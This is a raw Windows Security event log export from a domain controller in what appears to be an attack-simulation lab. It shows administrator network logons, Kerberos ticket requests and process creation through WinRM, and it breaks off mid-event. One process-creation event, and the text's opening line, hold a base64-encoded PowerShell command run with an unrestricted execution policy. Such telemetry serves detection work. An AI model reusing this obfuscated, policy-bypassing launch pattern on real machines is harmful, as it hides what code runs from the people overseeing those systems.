UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251535 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138B8A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251534 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138B8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251533 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251532 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251531 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251530 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251529 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Process Information: - New Process ID: 0xed8 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251528 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251527 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251526 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251525 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251524 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251523 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138905 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251522 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251521 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13699B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251520 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138905 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251519 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138905 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged 